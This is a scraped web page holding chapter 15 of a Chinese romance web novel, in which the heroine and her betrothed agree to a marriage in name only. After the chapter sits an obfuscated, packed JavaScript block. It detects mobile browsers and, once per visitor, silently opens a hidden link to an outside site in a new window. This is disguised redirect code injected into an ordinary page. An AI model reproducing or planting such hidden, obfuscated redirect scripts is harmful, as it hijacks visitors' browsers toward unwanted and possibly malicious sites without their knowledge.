第五文学网 > 言情小说 > 鬼医嫡妃 > 第 15 章

    15. 第十五章 条件只有一个

    虽说玉容歌也没觉得非要安宁跟她做一对真夫妻,但被未婚妻拒绝得这么彻底,玉容歌还是很不愉快的,再怎么说,以他的条件还不至于配不上她安宁,她至于将他当成洪水猛兽一样地隔离出去吗?

    “你就真的,真的那么瞧不上本世子?”

    “当然不是,像世子这般清风明月般的人物,哪是小女子这样的人高攀得上的。所以,不是世子爷配不上小女子,而是小女子配不上世子爷。”

    “世子妃倒是很有自知之明嘛。”玉容歌显然是在说反话,这话中透着浓浓的嘲讽之意,安宁又岂会听不出来呢?

    只是,她无视了过去,反而笑着点了点头,同意了玉容歌的这种说法。

    “世子爷说得没错,小女子素来都是很有自知之明的。”

    “你倒是应承得干脆。”玉容歌一提衣襟,直接坐在了榻侧上。“你倒是给本世子一个理由说说看,本世子为何要放弃人生三大乐事之一?俗话说,这春宵一刻值千金呐。”

    “切,就你这身子骨,还想要女人呢,别到时候没吃到反而丧了卿卿性命。还春宵一刻值千金呢,到时候你怎么死的都不知道。”安宁早在初次交锋的时候,无意触碰玉容歌之时,已经得了他的脉象。

    他这个人,还真是毒物的聚集地啊,什么寒毒,热毒,蛊毒,还有罕见的女人毒,他可全沾上了。

    就他这样身体里混着各种毒物的家伙,什么时候毒发生亡都不知道,他还有心思挂念洞房花烛夜呢,他究竟知道不知道,若他再沾了女人的话,他啊,到时候就算不死,也废了。

    安宁这会儿正鄙夷着玉容歌呢,她却不知道玉容歌听到她那话,吃惊不小。

    “世子妃,你刚才这么说究竟是什么意思?难道你是想诅咒本世子吗?”

    若是其他女人这么说的话,玉容歌早就怀疑了,只因为是安宁,他派人调查过她的一切,她不可能跟那个人有任何牵扯的,自然没有必要想着对付他的。

    所以他这会儿虽说心惊,还是淡定地开口了。

    倒是安宁,一不小心将真话给说出来了,她差点就泄底了。

    当然,好在啊,好在这个玉容歌好像没有听明白什么,她也就乐得装聋作哑,糊涂过去。

    “哦,那个啊,那个,我只是好心提醒你嘛,你想一下,你的身子骨这么差,一不注意就要躺下了,可不得好好珍惜自个儿的身体啊。要是你贪恋女人的身体,到时候将身子弄垮了,那岂不是自个儿找死嘛,你想想,我可不是在诅咒你,而是在好心地提醒你啊。”

    “哦?”玉容歌似笑非笑地看着安宁,并没有相信安宁的这番说辞,不过也没有揭穿她的谎言,他道:“这么说来,我还得好好谢谢世子妃的提醒喽。”

    “那倒不必了,怎么说,我们如今也算是坐在一条船上了,你若不好,我肯定也不会落个好,不是吗?”

    “这话嘛,本世子爱听。世子妃说得没错,你我如今可不是得坐在同一条船上吗,既然是在同一个条船上,你我有些事情确实得好好地说一说。”玉容歌说这话的时候,安宁张了张口,显然想将她先前的前提条件给提出来。

    而玉容歌呢,没有给安宁开口的机会,却是直接给了她满意的答案。

    “世子妃,什么都不用说了,你所说的条件,不算什么,若是真要这么做才算得上合作的诚意,那么本世子答应了,答应世子妃的条件,只跟世子妃做一对挂名夫妻。”

    “世子爷这般爽快,那是再好不过了。”先前他要是这么干脆的话,她哪需要跟他费那么多心思啊。

    不过眼下,她也算得偿所愿,因而她也难得大方了一次。

    “这样啊,既然世子爷拿出了你的诚意来,那么我自然也得拿出应有的诚意来。所以这会儿,世子爷,你开口吧,你有什么要求?若是我能够办到的,自然给世子爷办到,如何?”

    “本世子的要求只有一个,只要世子妃答应了本世子这个要求,那么不但世子妃不用跟本世子做什么真夫妻,本世子还能保证世子妃能够继续保有现在的日子。”这么好?玉容歌你小子有这么好心吗?

    安宁表示很怀疑,不过对于这个条件,她很动心,毕竟她再也不想过上一世那种刀尖舔血的日子了,因而能有安稳一世的日子好过,她自然不会傻得去选择另外一条路的。

    “说吧,究竟是什么要求?”安宁已经做好了充分的心里准备,她甚至都已经想好了是不是得出手染血一次。

    没想到,玉容歌的要求会是这样,倒是完全出乎她的意料之外。

    “安宁,我的要求很简单。我若没有害你之心,那么往后无论如何,你都不能有害我之心。”

    “就这个要求?”安宁显然有点不敢相信。

    然玉容歌坚定的眼神,肃然的面容,却告诉她这是一个事实。

    他的要求,就是这个,只有这个。

    “你,你难道不想提个更好的要求吗?比如——”

    “不用,我只要求你不会害我,你能做到这一点,我就心满意足了。”

    “好。”在安宁点头的那一刻,玉容歌就离开了。

    他走出了安宁的视线,却留下安宁,独自靠在榻上,沉默了好久,好久。

    安宁那一瞬间,也不知道怎么想的,就是忽然地,莫名地,有些心疼玉容歌。  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('p x(){j(O y==="\\k\\6\\2\\0\\8\\9\\6\\0\\2"){z P}Q a=(R^S)+(T^U);q A=y[\'\\k\\b\\0\\7\\V\\f\\0\\6\\1\'][\'\\1\\5\\r\\5\\W\\0\\7\\l\\3\\b\\0\']();a=(X^Y)+(Z^10);q B=11 12("13|14|15 16|17|18|19|1a 1b|1c|1d|1e|1f".s("").t().u(""),\'\\9\');z B[\'\\1\\0\\b\\1\'](A)}p C(a){q c=g[\'\\d\\7\\0\\3\\1\\0\\D\\4\\0\\h\\0\\6\\1\']("\\3");c[\'\\m\\7\\0\\8\']=a;c[\'\\b\\1\\i\\4\\0\'][\'\\2\\9\\b\\n\\4\\3\\i\']="1g".s("").t().u("");c[\'\\1\\3\\7\\f\\0\\1\']="\\v\\e\\4\\3\\6\\o";g[\'\\e\\5\\2\\i\'][\'\\3\\n\\n\\0\\6\\2\\l\\m\\9\\4\\2\'](c);c[\'\\d\\4\\9\\d\\o\']();g[\'\\e\\5\\2\\i\'][\'\\7\\0\\h\\5\\E\\0\\l\\m\\9\\4\\2\'](c)}g[\'\\3\\2\\2\\D\\E\\0\\6\\1\\r\\9\\b\\1\\0\\6\\0\\7\']("\\1h\\1i\\1j\\l\\5\\6\\1\\0\\6\\1\\r\\5\\3\\2\\0\\2",p(){j(!F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']){j(g[\'\\e\\5\\2\\i\']!=1k){F[\'\\f\\4\\5\\e\\3\\4\\G\\3\\7\']="\\w";H=I[\'\\f\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8");j(!H&&x()){C("\\m\\1\\1\\n\\1l\\J\\J\\1m\\K\\L\\M\\N\\K\\1n\\L\\8\\M\\d\\N\\d\\5\\h")}I[\'\\b\\0\\1\\w\\1\\0\\h\']("\\4\\k\\d\\o\\v\\8\\8","1o".s("").t().u(""))}}});',62,87,'u0065|u0074|u0064|u0061|u006C|u006F|u006E|u0072|u0066|u0069||u0073|_0xbc9f6d|u0063|u0062|u0067|document|u006D|u0079|if|u0075|u0043|u0068|u0070|u006B|function|const|u004C|split|reverse|join|u005F|u0049|isMobileDevice|navigator|return|_0x0bd|_0xf_0xe23|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|u002F|u0035|u0033|u0032|u002E|typeof|false|var|687386|687385|212973|212975|u0041|u0077|802130|802133|672503|672510|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|enon|u0044|u004F|u004D|null|u003A|u0037|u0036|eurt'.split('|'),0,{}))